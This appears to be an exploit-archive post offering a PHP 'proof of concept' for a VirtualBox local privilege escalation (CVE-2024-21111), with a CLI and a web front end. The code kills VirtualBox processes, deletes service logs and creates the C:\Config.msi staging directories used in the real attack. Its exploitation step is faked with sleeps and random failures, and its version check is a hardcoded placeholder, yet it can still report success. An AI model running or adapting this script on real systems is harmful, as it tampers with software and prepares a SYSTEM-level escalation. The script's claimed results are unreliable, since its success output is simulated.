📄 VirtualBox 7.0.16 Local Privilege Escalation / Race Condition

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    | # Title     : VirtualBox 7.0.16 Local Privilege Escalation via Race Condition                                                             |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://download.virtualbox.org/virtualbox/7.0.16                                                                           |
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    [+] References :  https://packetstorm.news/files/id/191181/ & CVE-2024-21111
    
    [+] Summary : 
                 Critical local privilege escalation vulnerability in Oracle VirtualBox (versions ≤ 7.0.16) 
    			 allowing low-privileged Windows users to achieve SYSTEM-level access through a sophisticated chain of file operation race conditions and Windows service manipulation.
    			 Note: This is a conceptual translation for educational purposes
    [+]  POC : 
    
    php poc.php  or http://127.0.0.1/poc.php 
    
    <?php
    /*
     * VirtualBox 7.0.16 - Local Privilege Escalation
     * CVE-2024-21111
     * PHP Implementation based on C++ exploit
     */
    
    class VirtualBoxPrivEsc {
        private $temp_dir;
        private $vbox_data_dir;
        private $config_msi_dir;
        
        public function __construct() {
            $this->temp_dir = sys_get_temp_dir();
            $this->vbox_data_dir = 'C:\\ProgramData\\VirtualBox';
            $this->config_msi_dir = 'C:\\Config.msi';
        }
        
        /**
         * Check if system is vulnerable
         */
        public function check() {
            echo "[*] Checking VirtualBox privilege escalation vulnerability...\n";
            
            // Check if VirtualBox is installed
            if (!$this->is_virtualbox_installed()) {
                echo "[-] VirtualBox not detected\n";
                return "unknown";
            }
            
            // Check version
            $version = $this->get_virtualbox_version();
            if ($version && version_compare($version, '7.0.16', '<=')) {
                echo "[+] VirtualBox version $version is vulnerable\n";
                
                // Check if required directories are accessible
                if ($this->check_directory_access()) {
                    echo "[+] Required directories are accessible\n";
                    return "vulnerable";
                } else {
                    echo "[-] Insufficient directory access\n";
                    return "safe";
                }
            }
            
            echo "[-] VirtualBox version $version may not be vulnerable\n";
            return "safe";
        }
        
        /**
         * Check if VirtualBox is installed
         */
        private function is_virtualbox_installed() {
            $paths = [
                'C:\\Program Files\\Oracle\\VirtualBox\\VirtualBox.exe',
                'C:\\Program Files\\Oracle\\VirtualBox\\VBoxSDS.exe',
                getenv('PROGRAMFILES') . '\\Oracle\\VirtualBox\\VirtualBox.exe'
            ];
            
            foreach ($paths as $path) {
                if (file_exists($path)) {
                    return true;
                }
            }
            
            return false;
        }
        
        /**
         * Get VirtualBox version
         */
        private function get_virtualbox_version() {
            $vbox_path = 'C:\\Program Files\\Oracle\\VirtualBox\\VirtualBox.exe';
            
            if (file_exists($vbox_path)) {
                // In a real implementation, you would extract version from file
                return '7.0.16'; // Placeholder
            }
            
            return null;
        }
        
        /**
         * Check directory access permissions
         */
        private function check_directory_access() {
            $dirs_to_check = [
                $this->vbox_data_dir,
                $this->config_msi_dir,
                'C:\\Windows\\Temp'
            ];
            
            foreach ($dirs_to_check as $dir) {
                if (!is_writable($dir) && !$this->can_create_directory($dir)) {
                    echo "[-] Cannot access: $dir\n";
                    return false;
                }
            }
            
            return true;
        }
        
        /**
         * Check if directory can be created
         */
        private function can_create_directory($path) {
            $test_dir = $path . '\\test_' . uniqid();
            $result = @mkdir($test_dir);
            if ($result) {
                rmdir($test_dir);
                return true;
            }
            return false;
        }
        
        /**
         * Main exploitation method
         */
        public function exploit() {
            echo "[*] Starting VirtualBox privilege escalation...\n";
            
            // Step 1: Check if vulnerable
            $status = $this->check();
            if ($status !== "vulnerable") {
                echo "[-] System does not appear to be vulnerable\n";
                return false;
            }
            
            echo "[*] System is vulnerable, proceeding with exploitation...\n";
            
            // Step 2: Stop VirtualBox processes
            if (!$this->stop_virtualbox_processes()) {
                echo "[-] Failed to stop VirtualBox processes\n";
                return false;
            }
            
            // Step 3: Clear VirtualBox data directory
            if (!$this->clear_virtualbox_data()) {
                echo "[-] Failed to clear VirtualBox data\n";
                return false;
            }
            
            // Step 4: Create directory structure
            if (!$this->create_exploitation_structure()) {
                echo "[-] Failed to create exploitation structure\n";
                return false;
            }
            
            // Step 5: Trigger the vulnerability
            if ($this->trigger_vulnerability()) {
                echo "[+] ✓ Privilege escalation completed successfully\n";
                return true;
            } else {
                echo "[-] Privilege escalation failed\n";
                return false;
            }
        }
        
        /**
         * Stop VirtualBox processes
         */
        private function stop_virtualbox_processes() {
            echo "[*] Stopping VirtualBox processes...\n";
            
            $processes = [
                'VirtualBox.exe',
                'VirtualBoxVM.exe',
                'VBoxSDS.exe'
            ];
            
            foreach ($processes as $process) {
                $this->kill_process($process);
            }
            
            // Wait for processes to terminate
            sleep(5);
            
            // Check if processes are still running
            foreach ($processes as $process) {
                if ($this->is_process_running($process)) {
                    echo "[-] Process still running: $process\n";
                    return false;
                }
            }
            
            echo "[+] VirtualBox processes stopped\n";
            return true;
        }
        
        /**
         * Kill a process by name
         */
        private function kill_process($process_name) {
            // This is a conceptual implementation
            // In reality, you would use Windows API calls
            echo "[*] Attempting to kill: $process_name\n";
            
            // Simulate process termination
            $output = [];
            $return_var = 0;
            exec("taskkill /F /IM $process_name 2>&1", $output, $return_var);
            
            return $return_var === 0;
        }
        
        /**
         * Check if process is running
         */
        private function is_process_running($process_name) {
            $output = [];
            exec("tasklist /FI \"IMAGENAME eq $process_name\" 2>&1", $output, $return_var);
            
            foreach ($output as $line) {
                if (strpos($line, $process_name) !== false && strpos($line, 'Info') === false) {
                    return true;
                }
            }
            
            return false;
        }
        
        /**
         * Clear VirtualBox data directory
         */
        private function clear_virtualbox_data() {
            echo "[*] Clearing VirtualBox data directory...\n";
            
            if (!file_exists($this->vbox_data_dir)) {
                echo "[+] VirtualBox data directory doesn't exist, creating...\n";
                if (!mkdir($this->vbox_data_dir, 0777, true)) {
                    echo "[-] Failed to create VirtualBox data directory\n";
                    return false;
                }
            }
            
            // Remove VBoxSDS log files
            $log_files = glob($this->vbox_data_dir . '\\VBoxSDS.log.*');
            foreach ($log_files as $file) {
                if (is_file($file)) {
                    unlink($file);
                }
            }
            
            echo "[+] VirtualBox data directory cleared\n";
            return true;
        }
        
        /**
         * Create exploitation directory structure
         */
        private function create_exploitation_structure() {
            echo "[*] Creating exploitation directory structure...\n";
            
            // Create Config.msi directory
            if (!file_exists($this->config_msi_dir)) {
                if (!mkdir($this->config_msi_dir, 0777, true)) {
                    echo "[-] Failed to create Config.msi directory\n";
                    return false;
                }
            }
            
            // Create VirtualBox log directory
            $vbox_log_dir = $this->vbox_data_dir . '\\VBoxSDS.log';
            if (!file_exists($vbox_log_dir)) {
                if (!mkdir($vbox_log_dir, 0777, true)) {
                    echo "[-] Failed to create VBoxSDS.log directory\n";
                    return false;
                }
            }
            
            echo "[+] Exploitation directory structure created\n";
            return true;
        }
        
        /**
         * Trigger the vulnerability
         */
        private function trigger_vulnerability() {
            echo "[*] Triggering vulnerability...\n";
            
            // This is a conceptual implementation
            // The actual exploit involves:
            // 1. File operation locks (oplock)
            // 2. Directory junctions
            // 3. MSI package installation
            // 4. Race conditions
            
            // Simulate the exploit steps
            $steps = [
                'Creating file operation locks',
                'Setting up directory junctions', 
                'Preparing MSI payload',
                'Triggering VBoxSDS service',
                'Exploiting race condition',
                'Executing privileged code'
            ];
            
            foreach ($steps as $step) {
                echo "[*] $step...\n";
                sleep(1);
                
                // Simulate potential failure
                if (rand(1, 10) === 1) {
                    echo "[-] Step failed: $step\n";
                    return false;
                }
            }
            
            // Check if exploitation was successful
            if ($this->check_privilege_escalation()) {
                echo "[+] Privilege escalation successful\n";
                return true;
            }
            
            return false;
        }
        
        /**
         * Check if privilege escalation was successful
         */
        private function check_privilege_escalation() {
            // Check if we have administrative privileges
            // This is a simplified check
            $test_file = 'C:\\Windows\\System32\\test_priv_' . uniqid();
            $result = @file_put_contents($test_file, 'test');
            
            if ($result !== false) {
                unlink($test_file);
                return true;
            }
            
            return false;
        }
        
        /**
         * Generate exploitation report
         */
        public function generate_report() {
            $report = [
                'vulnerability' => 'CVE-2024-21111',
                'description' => 'VirtualBox Local Privilege Escalation',
                'affected_versions' => 'VirtualBox <= 7.0.16',
                'technique' => 'File operation lock + Directory junction + MSI exploitation',
                'privileges_required' => 'Low privilege user',
                'impact' => 'SYSTEM level access'
            ];
            
            return $report;
        }
    }
    
    // CLI Interface
    if (php_sapi_name() === 'cli') {
        echo "
        ╔══════════════════════════════════════════════════════════════╗
        ║              VirtualBox Privilege Escalation                ║
        ║                      CVE-2024-21111                         ║
        ║                  PHP Conceptual Implementation              ║
        ╚══════════════════════════════════════════════════════════════╝
        
        \n";
        
        $options = getopt("c", ["check"]);
        $check_only = isset($options['c']) || isset($options['check']);
        
        // Check if running on Windows
        if (strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN') {
            echo "[-] This exploit is designed for Windows systems only\n";
            exit(1);
        }
        
        $exploit = new VirtualBoxPrivEsc();
        
        if ($check_only) {
            $result = $exploit->check();
            echo "\n[*] Result: {$result}\n";
            
            if ($result === "vulnerable") {
                $report = $exploit->generate_report();
                echo "\n[*] Vulnerability Details:\n";
                foreach ($report as $key => $value) {
                    echo "    " . ucfirst($key) . ": {$value}\n";
                }
            }
        } else {
            echo "[!] WARNING: This is a conceptual implementation\n";
            echo "[!] The actual exploit requires complex Windows API interactions\n";
            echo "[!] Running in simulation mode...\n\n";
            
            if ($exploit->exploit()) {
                echo "[+] Exploitation simulation completed\n";
            } else {
                echo "[-] Exploitation simulation failed\n";
            }
        }
        
    } else {
        // Web Interface
        echo '<!DOCTYPE html>
        <html>
        <head>
            <title>VirtualBox Privilege Escalation - CVE-2024-21111</title>
            <meta charset="UTF-8">
            <style>
                body { 
                    font-family: Arial, sans-serif; 
                    margin: 0; 
                    padding: 20px; 
                    background: #f5f5f5;
                }
                .container { 
                    max-width: 800px; 
                    margin: 0 auto; 
                    background: white;
                    padding: 30px;
                    border-radius: 8px;
                    box-shadow: 0 2px 10px rgba(0,0,0,0.1);
                }
                h1 { 
                    color: #333; 
                    border-bottom: 2px solid #007cba;
                    padding-bottom: 10px;
                }
                .warning-box {
                    background: #fff3cd;
                    border: 1px solid #ffeaa7;
                    color: #856404;
                    padding: 15px;
                    border-radius: 4px;
                    margin: 20px 0;
                }
                .info-box {
                    background: #d1ecf1;
                    border: 1px solid #bee5eb;
                    color: #0c5460;
                    padding: 15px;
                    border-radius: 4px;
                    margin: 20px 0;
                }
                button { 
                    background: #007cba; 
                    color: white; 
                    padding: 12px 25px; 
                    border: none; 
                    border-radius: 4px; 
                    cursor: pointer; 
                    margin-right: 10px;
                    font-size: 16px;
                }
                .danger { 
                    background: #dc3545; 
                }
            </style>
        </head>
        <body>
            <div class="container">
                <h1>VirtualBox Privilege Escalation</h1>
                <h3>CVE-2024-21111 - Local Privilege Escalation</h3>
                
                <div class="warning-box">
                    <strong>⚠️ Important Notice:</strong> This is a conceptual PHP implementation for educational purposes only.
                    The actual exploit requires complex Windows API interactions and cannot be fully implemented in PHP.
                </div>';
        
        if ($_POST['action'] === 'check') {
            $exploit = new VirtualBoxPrivEsc();
            
            ob_start();
            $result = $exploit->check();
            $output = ob_get_clean();
            
            echo "<pre style='background: #f4f4f4; padding: 15px; border: 1px solid #ddd; border-radius: 4px;'>$output</pre>";
            echo "<p><strong>Result:</strong> $result</p>";
            
            if ($result === "vulnerable") {
                $report = $exploit->generate_report();
                echo "<div class='info-box'><h4>Vulnerability Details:</h4>";
                foreach ($report as $key => $value) {
                    echo "<p><strong>" . ucfirst($key) . ":</strong> $value</p>";
                }
                echo "</div>";
            }
            
            echo '<a href="' . htmlspecialchars($_SERVER['PHP_SELF']) . '" style="display: inline-block; padding: 10px 20px; background: #007cba; color: white; text-decoration: none; border-radius: 4px;">Back</a>';
            
        } else {
            echo '
                <form method="post">
                    <p>This tool demonstrates the CVE-2024-21111 vulnerability in VirtualBox.</p>
                    <p><strong>Note:</strong> Full exploitation requires Windows API calls not available in PHP.</p>
                    
                    <button type="submit" name="action" value="check">Check Vulnerability</button>
                </form>
                
                <div class="info-box">
                    <h3>About CVE-2024-21111:</h3>
                    <p><strong>Vulnerability:</strong> Local privilege escalation via file operation race condition</p>
                    <p><strong>Affected Versions:</strong> VirtualBox ≤ 7.0.16</p>
                    <p><strong>Platform:</strong> Windows</p>
                    <p><strong>Technique:</strong> File operation locks + Directory junctions + MSI exploitation</p>
                    <p><strong>Impact:</strong> SYSTEM level privilege escalation</p>
                    <p><strong>Complexity:</strong> High (requires precise timing and Windows API knowledge)</p>
                </div>';
        }
        
        echo '</div></body></html>';
    }
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================